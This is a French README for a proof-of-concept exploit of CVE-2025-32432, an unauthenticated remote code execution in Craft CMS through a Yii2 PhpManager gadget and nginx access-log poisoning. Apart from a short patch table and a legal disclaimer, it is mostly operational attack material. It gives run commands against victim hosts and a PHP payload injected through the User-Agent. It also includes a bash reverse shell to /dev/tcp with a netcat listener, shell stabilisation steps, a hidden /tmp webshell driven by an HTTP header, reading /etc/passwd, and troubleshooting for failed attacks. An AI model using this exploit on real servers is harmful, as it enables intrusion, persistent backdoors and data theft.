
PoC fonctionnel pour CVE-2025-32432 - Craft CMS <= 5.6.16 RCE non authentifié via le gadget Yii2 PhpManager + empoisonnement du journal access.log de nginx
Preuve de concept fonctionnelle pour CVE-2025-32432, une vulnérabilité d'exécution de code à distance non authentifiée dans Craft CMS versions jusqu'à et y compris 5.6.16 (affecte également les branches 4.x et 3.x sur des chemins de code équivalents).
Mots-clés de recherche : CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
Le mode par défaut cible les installations Craft CMS standards. Un drapeau --lab est
inclus pour le défi carangueijada-20 du projet
hacklab-platform,
qui protège Craft derrière un cookie de session personnalisé.
Composant affecté : craft\controllers\AssetsController::actionGenerateTransform.
L'action est enregistrée comme allowAnonymous, donc aucune authentification n'est
nécessaire. Elle accepte un paramètre POST handle qui est ensuite décomposé
dans un appel à Craft::createObject() :
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
Lorsque $handle est un tableau associatif sous le contrôle de l'attaquant, la
décomposition injecte des clés arbitraires dans la configuration du constructeur. En particulier,
une clé commençant par as est interprétée par yii\base\Component::__set
comme un attachement de comportement, qui appelle Yii::createObject($config) sur
la valeur avant toute vérification de type :
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
Le correctif de Yii2 dans la version 2.0.50 a ajouté une vérification is_subclass_of($value['class'], Behavior::class)
protégeant cette branche ; les installations vulnérables (Yii2 <= 2.0.49, ou une vérification
précédemment supprimée) ignorent complètement la protection.
yii\rbac\PhpManagerPhpManager est une classe standard de Yii2. Sa méthode init() appelle load(), qui
appelle loadFromFile($this->itemFile). loadFromFile est littéralement :
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require analyse tout fichier sur le disque comme du PHP. Si le fichier contient un
bloc <?php ... ?>, ce bloc s'exécute dans le processus worker. En pointant
itemFile vers un fichier dont l'attaquant contrôle le contenu, une RCE complète est
obtenue.
access.log de nginxLe sink fiable pour toutes les installations est le access.log au format combiné de
nginx. Il enregistre le User-Agent de la requête textuellement, y compris les
caractères non imprimables et la plupart des signes de ponctuation. En envoyant une
requête dont le User-Agent est <?php system('id'); exit; ?>, l'attaquant
place un bloc PHP à un chemin connu. Pointer itemFile vers
/var/log/nginx/access.log puis require le journal exécute chaque bloc <?php ... ?>
dans l'ordre.
Deux subtilités importantes :
" en \x22
dans le format combiné, ce qui casse l'analyse PHP de la ligne. Utilisez des
guillemets simples ou la concaténation chr().exit; à la fin pour que require s'arrête avant d'analyser les lignes
suivantes du journal qui peuvent contenir d'autres charges utiles malformées.| Composant | Vulnérable | Corrigé |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Craft 5.6.17 ajoute une vérification ImageTransformerInterface sur la
classe de transformation. Yii2 2.0.50 ajoute une vérification de sous-classe Behavior dans
Component::__set. Chacun de ces correctifs bloque cette chaîne de gadgets spécifique.
requests (pip install -r requirements.txt)assetId Craft valide sur la cible. Par défaut 2 ; à remplacer par
-a <id> si nécessaire (l'ID d'asset 1 est généralement l'avatar de l'administrateur).python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile personnalisé (chemin de journal différent, session FPM, etc.)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
Le laboratoire carangueijada-20 du projet
hacklab-platform protège
l'installation Craft derrière un cookie coopsess émis par PATCH /login.
Le drapeau --lab gère cette négociation automatiquement.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
Assurez-vous que www.carangueijada.coop résout l'IP du laboratoire (ajoutez à
/etc/hosts si nécessaire).
Le drapeau --revshell envoie un connect-back bash -i >& /dev/tcp/<lhost>/<lport> 0>&1,
exécuté en arrière-plan pour que la requête POST du gadget retourne instantanément.
Flux à deux terminaux (le plus fiable) :
# terminal 1 - écouteur sur votre machine
nc -lvnp 4444
# terminal 2 - lancez l'exploit
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
Flux à un terminal avec écouteur intégré :
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen lance nc -lvnp <lport> dans le même terminal avant d'envoyer
la charge utile. Ctrl+C pour quitter une fois terminé.
Exemple de session (laboratoire) :
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Charge utile du shell inversé -> 10.200.0.20:4444
[!] Sur VOTRE machine, exécutez d'abord : nc -lvnp 4444
[*] Attente de 3s (donne le temps à votre écouteur de se lier)...
[*] Mode laboratoire : PATCH /login pour obtenir le cookie coopsess
[*] Cookie coopsess acquis
[*] Vérification de l'existence du wrapper à /tmp/.cve32432_w.php
[*] Déclenchement du gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Shell inversé envoyé.
# dans l'écouteur :
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
Stabilisation du shell (après connexion, exécutez à l'intérieur du shell inversé) :
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z pour mettre nc en arrière-plan
stty raw -echo; fg
# Appuyez deux fois sur Entrée
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
Lors de la première exécution, l'exploit empoisonne access.log une fois pour déposer
un wrapper PHP caché à /tmp/.cve32432_w.php. Le wrapper lit l'en-tête HTTP
X-Cmd et exécute system($_SERVER['HTTP_X_CMD']). Chaque
envoi ultérieur pointe itemFile vers le fichier wrapper et passe la commande via
un en-tête. Plus d'empoisonnement, plus de pollution du journal, plus d'échecs
du type "le premier bloc <?php exit; gagne".
Si vous voulez forcer une redéposition, supprimez /tmp/.cve32432_w.php sur la
cible (vous pouvez le faire via le wrapper lui-même : --cmd 'rm /tmp/.cve32432_w.php').
Exécution réussie contre une cible fraîche :
[*] Récupération du jeton CSRF depuis http://target.tld/actions/users/session-info
[*] CSRF : 5dQ0xRq9OAAaiHzaLZ0...
[*] Empoisonnement de access.log via User-Agent (longueur=508)
[*] requête d'empoisonnement -> HTTP 200
[*] Déclenchement du gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
Recours en cas de journal pollué (la cible a déjà été exploitée, une charge utile plus ancienne se termine avant la vôtre) :
[!] Marqueurs non trouvés ; le journal semble pollué par un empoisonnement antérieur.
[!] Repli sur l'extraction de la fin du corps. La sortie ci-dessous provient
[!] du PREMIER bloc <?php dans le journal (probablement une ancienne charge utile).
--- sortie de repli (peut être obsolète) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
POST /actions/assets/generate-transform atteint
AssetsController::actionGenerateTransform.$config = ['class' => ImageTransform::class, ...$handle].
Notre handle[as gadget] survit à la décomposition.Craft::createObject($config) appelle
Yii::$container->get(ImageTransform::class, [], $config), ce qui
instancie ImageTransform et écrit chaque clé de configuration restante
via $transform->{$key} = $value.as gadget, Component::__set correspond au
préfixe as et appelle Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']).Yii::createObject construit PhpManager, exécute __construct()
puis init().PhpManager::init() -> load() -> loadFromFile($this->itemFile)
-> require '/var/log/nginx/access.log'.<?php ... ?> s'exécutent
dans le processus worker.system($cmd) et exit;. La sortie apparaît
dans le corps de la réponse à l'endroit où se trouvait textuellement le bloc <?php.| Symptôme | Cause | Correctif |
|---|---|---|
HTTP 400 + "could not verify your data submission" / "Pedido invalido" | Le jeton CSRF n'est pas lié au cookie utilisé dans le POST | Le script utilise une seule requests.Session ; si vous réimplémentez, assurez-vous que le cookie jar conserve CRAFT_CSRF_TOKEN entre session-info et le POST. |
HTTP 403 sur /actions/... | Préfixe de chemin ou vhost erroné | Utilisez -p /prefix pour correspondre à l'endroit où Craft est monté ; assurez-vous que l'en-tête Host correspond à l'installation. |
csrfTokenValue vide / session-info renvoie du HTML | Mauvais en-tête Accept | Le script envoie déjà Accept: application/json ; si vous le supprimez, remettez-le. |
| La sortie n'affiche jamais votre commande | access.log contient déjà une charge utile <?php ... exit; ?> plus ancienne qui s'exécute en premier | Faites tourner/tronquez le journal sur la cible. Si vous n'avez qu'un RCE en tant qu'id, attendez la prochaine rotation du journal, ou passez par un fichier PHP accessible en écriture (par ex. /tmp/wrapper.php avec system($_SERVER['HTTP_X_CMD']);) et utilisez-le comme itemFile pour la suite. |
assetId not found | Mauvais ID pour cette installation | Parcourez les URL publiques des assets pour énumérer les IDs, ou essayez -a 1 puis -a 3..N. |
| Cible patchée | Craft >= 5.6.17 ou Yii2 >= 2.0.50 | La chaîne est bloquée ; soit trouvez une autre classe vulnérable, soit passez à autre chose. |
| La charge utile déclenche une erreur PHP fatale | Les anciennes entrées de journal contiennent du PHP malformé qui casse l'analyseur avant votre bloc | Même correctif que pour le journal pollué : faites tourner le journal. |
Si vous ne pouvez exécuter que id de manière fiable (car un ancien empoisonnement exit;
a verrouillé la chaîne), une solution viable est de faire en sorte que cette unique commande de type id
écrive un wrapper PHP dans un chemin que vous contrôlez, puis changez
itemFile vers ce chemin pour toutes les requêtes suivantes :
# empoisonnement unique avec une commande qui dépose /tmp/w.php en tant que www-data
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# encodez CMD en chr() ...
Ensuite, appelez :
python3 exploit.py -u http://victim.tld \
-i /tmp/w.php \
-c 'whoami'
Chaque envoi ultérieur lit /tmp/w.php (un fichier PHP propre sans rien avant
notre charge utile) et exécute la commande depuis l'en-tête X-Cmd.
Adaptez le script si vous voulez en faire un mode intégré.
.
├── exploit.py # le PoC
├── README.md # ce fichier
├── requirements.txt # dépendances Python (juste `requests`)
└── LICENSE # MIT
Component.php de Yii2 (révision vulnérable) : https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.phpCette preuve de concept est publiée à des fins de recherche défensive, d'utilisation éducative et de tests de pénétration autorisés uniquement. L'exécuter contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de test est illégal dans la plupart des juridictions. L'auteur n'accepte aucune responsabilité en cas d'utilisation abusive.
Si vous maintenez une installation Craft CMS, mettez à jour vers 5.6.17 ou ultérieur (ou la version corrigée correspondante 4.x / 3.x). La vulnérabilité est trivialement exploitable et a été utilisée dans des campagnes réelles documentées par SensePost.
MIT. Voir LICENSE.